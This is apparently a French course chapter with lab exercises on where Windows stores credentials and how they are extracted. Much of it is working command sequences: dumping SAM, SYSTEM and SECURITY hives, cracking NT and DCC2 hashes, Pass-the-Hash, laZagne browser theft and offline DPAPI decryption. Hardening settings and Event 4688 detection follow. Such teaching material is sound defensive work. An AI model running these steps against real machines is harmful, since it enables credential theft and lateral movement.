Le cœur du post-exploitation Windows local. Où sont stockés les mots de passe, comment ils sont protégés, comment les extraire, comment les déchiffrer - et comment détecter chaque étape de ce processus avant qu'il soit trop tard.
AVANCÉOFFENSIF + DÉFENSIF5 – 6h
8.1
Où Windows Stocke les Mots de Passe - Carte Complète
Avant d'aller dans les détails techniques, voici la carte globale de tous les endroits où des credentials sont stockés sur une machine Windows - chacun avec sa surface d'attaque propre.
Arborescence complète du stockage des credentials WindowsSTRUCTURE
Windows Credential Storage
│
├── SAM (Security Account Manager)
│ └── Hashes NT des comptes LOCAUX
│ Fichier : C:\Windows\System32\config\SAM
│ Registre : HKLM\SAM (verrouillé par SYSTEM)
│ Chiffré avec le bootkey (SYSTEM hive)
│
├── LSASS (Local Security Authority Subsystem Service)
│ └── Credentials en mémoire RAM (session active)
│ Hashes NT, tickets Kerberos, mots de passe en clair (WDigest legacy)
│ Processus : lsass.exe (PID variable) - voir Chapitre 9
│
├── SECURITY (LSA Secrets)
│ └── Secrets du système : comptes de services, mots de passe
│ Cached logons (DCC2), DPAPI master keys système
│ Fichier : C:\Windows\System32\config\SECURITY
│
├── NTDS.dit (Active Directory)
│ └── Hashes NT de TOUS les comptes du domaine
│ Fichier : C:\Windows\NTDS\NTDS.dit (uniquement sur les DCs)
│ Voir Chapitre 12
│
├── DPAPI (Data Protection API)
│ └── Clés de chiffrement pour : Chrome, Firefox, Outlook,
│ WiFi passwords, BitLocker, RDP credentials...
│ Fichiers : %APPDATA%\Microsoft\Protect\<SID>\
│
└── Credential Manager (Windows Vault)
└── Credentials sauvegardées manuellement par l'utilisateur
Fichiers : %LOCALAPPDATA%\Microsoft\Credentials\
%APPDATA%\Microsoft\Credentials\
Stockage
Type de données
Vecteur d'attaque principal
Chapitre
SAM
Hashes NT locaux
reg save + secretsdump, VSS
8.2–8.3
SECURITY
LSA Secrets, DCC2, DPAPI sys
secretsdump avec SECURITY hive
8.4
LSASS
Hashes NT, Kerberos, WDigest
Dump mémoire (Mimikatz, procdump)
9
DPAPI
Chrome, WiFi, RDP, Outlook
Master Key + hash NT → déchiffrement
8.5
NTDS.dit
Tous les hashes AD
ntdsutil, VSS sur DC
12
8.2
Le Fichier SAM - Structure et Protection
Le SAM (Security Account Manager) est la base de données qui stocke les comptes locaux d'une machine Windows - noms d'utilisateurs, hashes des mots de passe, informations de compte. Introduit avec Windows NT 3.1 en 1993, il utilise depuis Windows 2000 le hash NT : MD4(UTF-16LE(mot_de_passe)).
Anecdote - Le hash LM fantôme
Avant Windows NT 4.0 SP3, le SAM stockait les hashes LM (LAN Manager) en plus des hashes NT. LM = DES(password_uppercase_padded) - extrêmement faible, rainbow tables complètes disponibles. Aujourd'hui les hashes LM sont remplacés par le placeholder aad3b435b51404eeaad3b435b51404ee - sa présence signifie simplement "pas de hash LM ici".
La triple protection du SAM
Trois mécanismes superposés protégeant le SAMSTRUCTURE
Protection 1 - Verrouillage SYSTEM (kernel lock)
Le fichier SAM est verrouillé en écriture ET lecture par le kernel
dès le démarrage de Windows - aucun processus (même SYSTEM) ne peut
l'ouvrir via l'API standard pendant que Windows tourne.
→ Contournement : reg save, VSS, Live OS
Protection 2 - Syskey / bootkey (depuis Windows NT 4.0 SP3)
Les hashes NT dans le SAM sont chiffrés avec une clé 128-bit (Syskey)
dérivée du SYSTEM bootkey. Lire le SAM brut sans le SYSTEM bootkey
→ hashes illisibles.
→ C'est pourquoi SAM + SYSTEM sont toujours nécessaires ensemble.
Protection 3 - ACL NTFS restrictive
HKLM\SAM → accessible uniquement par SYSTEM
C:\Windows\System32\config\SAM → lecture interdite même pour Administrators
Le SYSTEM bootkey - Clé de déchiffrement du SAM
Le bootkey (Syskey) est stocké de manière obfusquée dans 4 sous-clés du registre SYSTEM. Il faut toujours les deux fichiers SAM + SYSTEM pour extraire les hashes - SAM seul ne suffit jamais.
Localisation du bootkey dans le hive SYSTEMREGISTRE
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\
├── JD ← 8 caractères du bootkey (permutés)
├── Skew1 ← 8 caractères du bootkey (permutés)
├── GBG ← 8 caractères du bootkey (permutés)
└── Data ← 8 caractères du bootkey (permutés)
Concaténés + permutation fixe = bootkey 16 bytes
bootkey + SAM chiffré = hashes NT en clair
→ SAM seul = hashes illisibles (chiffrés)
→ SYSTEM seul = bootkey inutilisable (pas de hashes)
→ SAM + SYSTEM = hashes NT extraits ✓
Format des hashes NT dans le SAM
Format de sortie secretsdump - lecture des champsFORMAT
Format : username:RID:LM_hash:NT_hash:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
alice:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
│ │ │ └── Hash NT ← ce qu'on veut
│ │ └── Hash LM (placeholder vide)
│ └── RID (Relative Identifier) - 500=Administrator, 501=Guest, 1000+=users
└── Nom de compte
31d6cfe0d16ae931b73c59d7e0c089c0 = Hash NT du mot de passe VIDE
8846f7eaee8fb117ad06bdd830b7586c = Hash NT de "Password" (exemple)
8.3
Extraction des Hashes SAM - Techniques
Technique 1 - reg save (machine active, admin requis)
Sauvegarder SAM, SYSTEM, SECURITY pendant que Windows tourneCMD
rem reg save crée une copie hors du verrouillage kernel
reg save HKLM\SAM C:\Temp\SAM.hive /y
reg save HKLM\SYSTEM C:\Temp\SYSTEM.hive /y
reg save HKLM\SECURITY C:\Temp\SECURITY.hive /y
impacket-secretsdump - extraction et lecture des hashes offlineBASH
# Extraction SAM + SYSTEM (hashes NT uniquement)
impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL
# Extraction complète avec LSA Secrets + DCC2
impacket-secretsdump -sam SAM.hive -system SYSTEM.hive -security SECURITY.hive LOCAL
# OUTPUT :# [*] Target system bootKey: 0x4a7f9c2e1b8d...# [*] Dumping local SAM hashes (uid:rid:lmhash:nthash)# Administrator:500:aad3b435...:31d6cfe0...:::# alice:1001:aad3b435...:8846f7ea...:::# Dump remote (admin credentials requis)
impacket-secretsdump 'administrator:P@ssw0rd@192.168.56.10'
Technique 2 - Volume Shadow Copies (VSS)
Les VSS (clichés instantanés) sont des snapshots du disque créés par Windows Update, System Restore, etc. Ils contiennent une copie des fichiers SAM/SYSTEM non verrouillée - prise à froid, sans le verrou kernel.
Accéder au SAM via les Volume Shadow CopiesPOWERSHELL
# Lister les shadow copies disponibles
vssadmin list shadows
Get-WmiObject Win32_ShadowCopy | Select-Object ID, InstallDate, DeviceObject
# Accéder via lien symbolique$shadow = (Get-WmiObject Win32_ShadowCopy)[0].DeviceObject
cmd /c "mklink /D C:\ShadowLink $shadow\"# Copier SAM/SYSTEM depuis le shadow - pas de verrouillage kernelCopy-Item"C:\ShadowLink\Windows\System32\config\SAM""C:\Temp\SAM_shadow.hive"Copy-Item"C:\ShadowLink\Windows\System32\config\SYSTEM""C:\Temp\SYSTEM_shadow.hive"Copy-Item"C:\ShadowLink\Windows\System32\config\SECURITY""C:\Temp\SECURITY_shadow.hive"# Nettoyer le lien symbolique
cmd /c "rmdir C:\ShadowLink"
Technique 3 - Live OS / Accès physique
Accès au SAM depuis un OS Linux live - aucun verrouillageBASH
# Monter le disque Windows depuis un live Linux
mount /dev/sda2 /mnt/windows
# Copier les hives - Windows n'est pas en cours, aucun verrouillage
cp /mnt/windows/Windows/System32/config/SAM /tmp/
cp /mnt/windows/Windows/System32/config/SYSTEM /tmp/
cp /mnt/windows/Windows/System32/config/SECURITY /tmp/
# Extraction directe
impacket-secretsdump -sam /tmp/SAM -system /tmp/SYSTEM LOCAL
Utilisation des hashes NT extraits
Cracking mode 1000 et Pass-the-Hash directBASH
# Hashes NT = hashcat mode 1000 (pas mode 5600 comme NTLMv2 réseau !)
hashcat -m 1000 nt_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 nt_hashes.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
john --format=NT nt_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Pass-the-Hash - utiliser le hash NT directement, sans cracker
netexec smb 192.168.56.10 -u Administrator -H"31d6cfe0d16ae931b73c59d7e0c089c0"
impacket-psexec -hashes":8846f7eaee8fb117ad06bdd830b7586c" alice@192.168.56.10
Offensif - Pass-the-Hash sans cracker
Le hash NT extrait du SAM peut être utilisé directement en Pass-the-Hash - pas besoin de le cracker. netexec smb -H, impacket-psexec -hashes, impacket-wmiexec -hashes acceptent tous le format LMhash:NThash. Si le hash LM est vide, utiliser aad3b435b51404eeaad3b435b51404ee:<NT_HASH>.
8.4
LSA Secrets - Le Fichier SECURITY
Le fichier SECURITY contient les LSA Secrets (Local Security Authority Secrets) - des données sensibles stockées par le système pour son propre usage. Ces secrets sont chiffrés avec le bootkey (SYSTEM) et sont souvent plus précieux que les hashes SAM.
Contenu du fichier SECURITY
Structure des LSA Secrets - HKLM\SECURITY\Policy\SecretsSTRUCTURE
LSA Secrets (HKLM\SECURITY\Policy\Secrets\)
├── $MACHINE.ACC → Hash du compte machine AD (NTLM)
├── DefaultPassword → Mot de passe autologon en clair ⚠
├── DPAPI_SYSTEM → Masterkeys DPAPI système (déchiffre les secrets apps)
│ ├── dpapi_machinekey : clé machine
│ └── dpapi_userkey : clé utilisateur système
├── NL$KM → Clé de chiffrement des DCC2 (cached logons)
├── _SC_ServiceName → Mots de passe des comptes de services Windows
│ Ex: _SC_MSSQLSERVER → Mot de passe du compte de service SQL Server
└── RasDialParams → Credentials VPN/dial-up sauvegardés
Cached Domain Credentials - DCC2
Les DCC2 (Domain Cached Credentials v2) permettent à un utilisateur du domaine de se connecter à sa machine même si le DC est injoignable. Windows conserve par défaut les 10 dernières authentifications de domaine en cache.
Attribut
Hash NT (SAM)
DCC2 (SECURITY)
Algorithme
MD4
PBKDF2-HMAC-SHA1 (10240 itérations)
Pass-the-Hash
Oui - utilisable directement
Non - inutilisable en PtH
Cracking
Mode 1000 - rapide
Mode 2100 - lent
Format hashcat
8846f7ea...
$DCC2$10240#user#hash
secretsdump complet - LSA Secrets + DCC2 + crackingBASH
# Dump complet : SAM + LSA Secrets + DCC2
impacket-secretsdump \
-sam SAM.hive \
-system SYSTEM.hive \
-security SECURITY.hive \
LOCAL
# OUTPUT (section LSA Secrets) :# [*] Dumping LSA Secrets# [*] $MACHINE.ACC: aad3b435...:a4e3... ← Hash du compte machine# [*] DefaultPassword: MonMotDePasse123 ← Autologon en CLAIR ⚠# [*] DPAPI_SYSTEM# dpapi_machinekey: 0x4a9f...# dpapi_userkey: 0x7b2c...## [*] Dumping cached domain logon information# alice:$DCC2$10240#alice#8a3b7d...:DOMAIN:alice# bob:$DCC2$10240#bob#4f2c1a...:DOMAIN:bob# Cracker les DCC2 (mode 2100 - beaucoup plus lent que mode 1000)
hashcat -m 2100 dcc2_hashes.txt /usr/share/wordlists/rockyou.txt
8.5
DPAPI - Data Protection API
DPAPI est l'infrastructure de chiffrement transparent de Windows introduite avec Windows 2000. Elle permet aux applications de chiffrer des données sensibles sans gérer elles-mêmes les clés - Windows se charge de la gestion des clés, liées à l'identité de l'utilisateur. Si on récupère le hash NT d'un utilisateur, on peut déchiffrer toutes ses données DPAPI offline.
Chaîne de confiance DPAPI
De la Master Key aux secrets des applications
Mot de passe utilisateur → Hash NT (MD4)
Hash NT + Salt + PBKDF2 → Master Key chiffrée
Master Key stockée dans : %APPDATA%\Microsoft\Protect\<SID>\<GUID>
Master Key déchiffrée → dérive les clés de session des applications
Clés de session → déchiffrent : Chrome passwords, cookies, WiFi, RDP, Outlook PST...
Localisation des fichiers DPAPI
Cartographie des fichiers DPAPI sur le systèmePOWERSHELL
Chrome Login Data + Local State - extraction avec laZagneBASH
# Chrome stocke ses mots de passe dans une DB SQLite chiffrée avec DPAPI# Fichiers clés :# Login Data : %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data# Local State : %LOCALAPPDATA%\Google\Chrome\User Data\Local State# (contient os_crypt.encrypted_key = AES key chiffrée DPAPI)# laZagne - extraction automatique de tous les navigateurs
python3 laZagne.py all
python3 laZagne.py browsers -chrome# SharpChrome (depuis Windows avec accès à la session)# SharpChrome.exe logins /unprotect
8.6
Credential Manager - Windows Vault
Le Credential Manager est l'interface Windows pour gérer les credentials sauvegardées - mots de passe RDP, partages réseau, comptes Windows. Les données sont stockées chiffrées avec DPAPI dans %APPDATA%\Microsoft\Credentials\.
Structure et localisation
Organisation du Credential ManagerSTRUCTURE
Credential Manager
├── Windows Credentials
│ ├── Comptes Windows (MSA, Azure AD)
│ ├── Certificats
│ └── Generic Credentials (RDP, partages réseau...)
└── Web Credentials
└── Mots de passe sauvegardés dans IE/Edge legacy
Stockage physique (chiffré avec DPAPI utilisateur) :
%APPDATA%\Microsoft\Credentials\ ← Credentials itinérantes
%LOCALAPPDATA%\Microsoft\Credentials\ ← Credentials locales
C:\Windows\System32\config\systemprofile\ ← Credentials SYSTEM
Lire le Credential Manager
cmdkey /list et PasswordVault PowerShellPOWERSHELL
# ── Protection 1 : PPL (Protected Process Light) sur LSASS ─────────# Empêche les accès mémoire même avec SeDebugPrivilege# Nécessite un driver signé pour être bypasséSet-ItemProperty-Path"HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
-Name"RunAsPPL"-Value 1
# Valider après reboot :Get-ItemProperty"HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" | Select-Object RunAsPPL
# ── Protection 2 : Désactiver WDigest ───────────────────────────────# WDigest = stockait les mots de passe en CLAIR dans lsass# Désactivé par défaut depuis Windows 8.1 - toujours vérifierSet-ItemProperty-Path"HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" `
-Name"UseLogonCredential"-Value 0 # 0 = désactivé# ── Protection 3 : Credential Guard ─────────────────────────────────# Isole lsass dans VTL1 (Hyper-V) - mimikatz ne peut plus lire en mémoire# Via GPO : Computer Config → Admin Templates → System → Device Guard# → Turn On Virtualization Based Security → Enabled# → Credential Guard Configuration: Enabled with UEFI lock
(Get-ItemProperty"HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard").EnableVirtualizationBasedSecurity
# ── Protection 4 : Réduire les cached logons DCC2 ───────────────────# Par défaut : 10 - réduire à 1 ou 0Set-ItemProperty-Path"HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" `
-Name"CachedLogonsCount"-Value"1"# 0 = désactiver complètement (utilisateurs domaine ne peuvent plus se connecter hors-ligne)# ── Protection 5 : Restreindre l'accès remote au SAM ────────────────# Empêche les non-admins d'énumérer le SAM à distanceSet-ItemProperty-Path"HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
-Name"RestrictRemoteSAM" `
-Value"O:BAG:BAD:(A;;RC;;;BA)"# Admins uniquement
Protection
Cible
Clé / Action
Impact sur les attaques
PPL LSASS
Dumps mémoire
RunAsPPL = 1
Bloque Mimikatz sans driver signé
WDigest = 0
Mots de passe en clair
UseLogonCredential = 0
Aucun mot de passe en clair en RAM
Credential Guard
LSASS en mémoire
VTL1 via Hyper-V
Mimikatz aveugle - isolation VBS
CachedLogons = 1
DCC2 crackables
CachedLogonsCount = 1
Réduit la surface d'attaque DCC2
RestrictRemoteSAM
Énumération réseau
SDDL Admins seulement
Bloque l'énumération distante du SAM
TP 1
Extraction SAM + LSA Secrets + Cracking
TP 08-Areg save → secretsdump → hashes NT → cracking + Pass-the-Hash → tracesAVANCÉ
Objectifs
Extraire les hives SAM, SYSTEM et SECURITY avec reg save
Analyser leur contenu avec impacket-secretsdump
Cracker les hashes NT avec hashcat mode 1000
Tester le Pass-the-Hash avec netexec
Analyser les traces laissées dans les Event Logs
reg save - copier SAM, SYSTEM, SECURITY pendant que Windows tournePOWERSHELL
# Créer le dossier de travailNew-Item-ItemType Directory -Path"C:\LabSAM"-Force | Out-Null# Extraire les trois hives
reg save HKLM\SAM "C:\LabSAM\SAM.hive" /y
reg save HKLM\SYSTEM "C:\LabSAM\SYSTEM.hive" /y
reg save HKLM\SECURITY "C:\LabSAM\SECURITY.hive" /y
# Vérifier les fichiers créésGet-Item"C:\LabSAM\*.hive" | Select-Object Name, Length, LastWriteTime
# Inventaire des comptes locaux (pour comparer avec le dump)Get-LocalUser | Select-Object Name, Enabled, SID, LastLogon | Format-Table-AutoSize
Transfert des hives + impacket-secretsdump + crackingBASH
# Récupérer les hives depuis Windows via smbclient
mkdir -p /tmp/LabSAM
smbclient //192.168.56.10/C$ -U"Administrator%P@ssw0rd" \
-c"cd LabSAM; get SAM.hive /tmp/LabSAM/SAM.hive; \
get SYSTEM.hive /tmp/LabSAM/SYSTEM.hive; \
get SECURITY.hive /tmp/LabSAM/SECURITY.hive"
cd /tmp/LabSAM
# Dump complet - SAM + LSA Secrets + DCC2
impacket-secretsdump \
-sam SAM.hive \
-system SYSTEM.hive \
-security SECURITY.hive \
LOCAL 2>&1 | tee dump_results.txt
cat dump_results.txt
# Isoler les hashes NT pour cracking
grep -E"^[^:]+:[0-9]+:aad3b435" dump_results.txt | \
cut -d: -f4 > nt_hashes.txt
cat nt_hashes.txt
# Cracking hashes NT - mode 1000
hashcat -m 1000 nt_hashes.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule --quiet
hashcat -m 1000 nt_hashes.txt --show# Pass-the-Hash avec le hash Administrator
ADMIN_HASH=$(grep "Administrator:" dump_results.txt | cut -d: -f4)
echo "Hash NT Administrator : $ADMIN_HASH"
netexec smb 192.168.56.10 -u Administrator -H"$ADMIN_HASH"--shares
Supprimer les hives extraites + rechercher les Event 4688POWERSHELL
# Supprimer les hives extraitesRemove-Item"C:\LabSAM\"-Recurse-Force# Analyser les traces dans les Event LogsWrite-Host"=== TRACES D'EXTRACTION ==="-ForegroundColor Red
Get-WinEvent-FilterHashtable@{
LogName = 'Security'
Id = 4688
StartTime = (Get-Date).AddMinutes(-30)
}-EA SilentlyContinue | ForEach-Object {
$xml = [xml]$_.ToXml()
$data = $xml.Event.EventData.Data
$cmd = ($data | Where-Object {$_.Name -eq'CommandLine'}).'#text'if ($cmd-match"reg.*save|SAM|SYSTEM|SECURITY") {
Write-Host"[$($_.TimeCreated)] $cmd"-ForegroundColor Yellow
}
}
TP 2
DPAPI - Cartographie & Déchiffrement
TP 08-BExplorer les fichiers DPAPI, créer une credential de test, la déchiffrer offline avec impacketAVANCÉ
Objectifs
Cartographier les Master Keys et credentials DPAPI du profil courant
Créer une credential de test dans le Credential Manager
Déchiffrer la credential via l'API native (utilisateur courant)
Déchiffrer offline avec impacket-dpapi (Master Key + hash NT)
$sid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value
Write-Host"SID courant : $sid"-ForegroundColor Cyan
# Master Keys utilisateurWrite-Host"`n=== MASTER KEYS DPAPI ==="-ForegroundColor Yellow
$mkPath = "$env:APPDATA\Microsoft\Protect\$sid"if (Test-Path$mkPath) {
Get-Item"$mkPath\*" | Select-Object Name, Length, LastWriteTime, CreationTime |
Format-Table-AutoSize
}
# Credentials chiffréesWrite-Host"`n=== CREDENTIALS CHIFFRÉES ==="-ForegroundColor Yellow
$credPaths = @("$env:APPDATA\Microsoft\Credentials", "$env:LOCALAPPDATA\Microsoft\Credentials")foreach ($pathin$credPaths) {
if (Test-Path$path) {
Write-Host"[$path] :"Get-Item"$path\*" | Select-Object Name, Length, LastWriteTime | Format-Table-AutoSize
}
}
# Créer une credential de test dans le Credential ManagerWrite-Host"`n=== CRÉATION CREDENTIAL DE TEST ==="-ForegroundColor Cyan
cmdkey /generic:"TestServeur" /user:"testuser" /pass:"TestMDP2024!"
cmdkey /list | Select-String"TestServeur"-Context 0,2
# Nouveau fichier crééGet-Item"$env:APPDATA\Microsoft\Credentials\*" |
Sort-Object LastWriteTime -Descending | Select-Object-First 3 |
Select-Object Name, Length, LastWriteTime
CryptUnprotectData - déchiffrement DPAPI natif en PowerShellPOWERSHELL
Add-Type -TypeDefinition@"
using System;
using System.Runtime.InteropServices;
using System.Text;
public class DPAPIHelper {
[DllImport("crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern bool CryptUnprotectData(
ref DATA_BLOB pDataIn,
StringBuilder szDataDescr,
IntPtr pOptionalEntropy,
IntPtr pvReserved,
IntPtr pPromptStruct,
int dwFlags,
ref DATA_BLOB pDataOut);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
internal struct DATA_BLOB {
public int cbData;
public IntPtr pbData;
}
public static byte[] Decrypt(byte[] encryptedData) {
DATA_BLOB inBlob = new DATA_BLOB();
DATA_BLOB outBlob = new DATA_BLOB();
inBlob.pbData = Marshal.AllocHGlobal(encryptedData.Length);
inBlob.cbData = encryptedData.Length;
Marshal.Copy(encryptedData, 0, inBlob.pbData, encryptedData.Length);
if (!CryptUnprotectData(ref inBlob, null, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 0, ref outBlob))
return null;
byte[] result = new byte[outBlob.cbData];
Marshal.Copy(outBlob.pbData, result, 0, outBlob.cbData);
return result;
}
}
"@# Déchiffrer le fichier credential le plus récent$credFile = Get-Item"$env:APPDATA\Microsoft\Credentials\*" |
Sort-Object LastWriteTime -Descending | Select-Object-First 1
if ($credFile) {
Write-Host"Tentative de dechiffrement : $($credFile.Name)"-ForegroundColor Cyan
$bytes = [System.IO.File]::ReadAllBytes($credFile.FullName)
$decrypted = [DPAPIHelper]::Decrypt($bytes)
if ($decrypted) {
$text = [System.Text.Encoding]::Unicode.GetString($decrypted)
Write-Host"Contenu dechiffre : $text"-ForegroundColor Green
}
}
Master Key + hash NT → déchiffrement credential offlineBASH
SID="S-1-5-21-XXXXXXX-XXXXXXX-XXXXXXX-1001"# Adapter
MK_DIR="/tmp/dpapi/Protect/$SID"
CRED_DIR="/tmp/dpapi/Credentials"# Étape 1 : Déchiffrer la Master Key avec le mot de passe (ou hash NT)
impacket-dpapi masterkey \
-file"$MK_DIR/<MK_GUID>" \
-sid"$SID" \
-password"TestMDP2024!"# OUTPUT : [GUID] : 4a7f9c2e... ← copier cette valeur# Étape 2 : Déchiffrer le blob Credential avec la Master Key déchiffrée
impacket-dpapi credential \
-file"$CRED_DIR/<CRED_GUID>" \
-key"4a7f9c2e..."# Password : TestMDP2024! ← credential en clair
Nettoyage - supprimer la credential de testCMD
cmdkey /delete:TestServeur
✓
Résumé - Points clés à retenir
Architecture du stockage
Quatre emplacements, quatre surfaces d'attaque
SAM = hashes NT locaux protégés par Syskey - toujours besoin de SAM + SYSTEM ensemble. SECURITY = LSA Secrets avec comptes de services, autologon en clair, DCC2. DPAPI = couche de chiffrement transparent liée au hash NT utilisateur - un hash NT suffit pour tout déchiffrer offline.
DCC2 vs Hash NT
Une distinction critique
Le hash NT (SAM) est directement utilisable en Pass-the-Hash - pas besoin de cracker. Le DCC2 (SECURITY) ne peut pas être utilisé en PtH, seulement cracké offline avec hashcat mode 2100. VSS contourne le verrou kernel du SAM - fonctionne même quand reg save est bloqué par un EDR.
Pour l'Offensif
Workflow post-exploitation standard
reg save SAM+SYSTEM+SECURITY → secretsdump LOCAL → hashes NT → Pass-the-Hash direct sans cracker. Hash NT utilisateur → impacket-dpapi masterkey → toutes les credentials DPAPI déchiffrées (Chrome, WiFi, RDP). DefaultPassword dans LSA Secrets = autologon en clair.
Pour le Défensif
5 protections par priorité
1. PPL LSASS (RunAsPPL=1). 2. WDigest désactivé (UseLogonCredential=0). 3. Credential Guard (VTL1). 4. CachedLogonsCount=1. 5. RestrictRemoteSAM. Detection : Event 4688 avec audit de ligne de commande - filtrer reg save, vssadmin, procdump.
Identifier les 5 emplacements de stockage des credentials Windows et leur surface d'attaque
Expliquer pourquoi SAM + SYSTEM sont toujours nécessaires ensemble (bootkey)
Extraire les hives avec reg save et les analyser avec impacket-secretsdump
Accéder au SAM via les Volume Shadow Copies (VSS) sans verrou kernel
Distinguer hash NT (Pass-the-Hash) et DCC2 (cracking seulement)
Expliquer la chaîne de confiance DPAPI de la Master Key aux secrets des applications
Déchiffrer une Master Key DPAPI offline avec impacket-dpapi masterkey
Identifier les LSA Secrets sensibles : DefaultPassword, _SC_*, DPAPI_SYSTEM
Activer PPL sur LSASS et vérifier que WDigest est désactivé
Détecter les extractions SAM via Event 4688 avec filtrage des IOCs
Le Chapitre 9 - LSASS : Dump Mémoire & Détection complète ce chapitre en approfondissant le dump de la mémoire du processus lsass.exe - la source la plus riche de credentials en session active : hashes NT, tickets Kerberos, et mots de passe en clair selon la configuration. Techniques d'extraction, contournement de PPL, et détection Sysmon.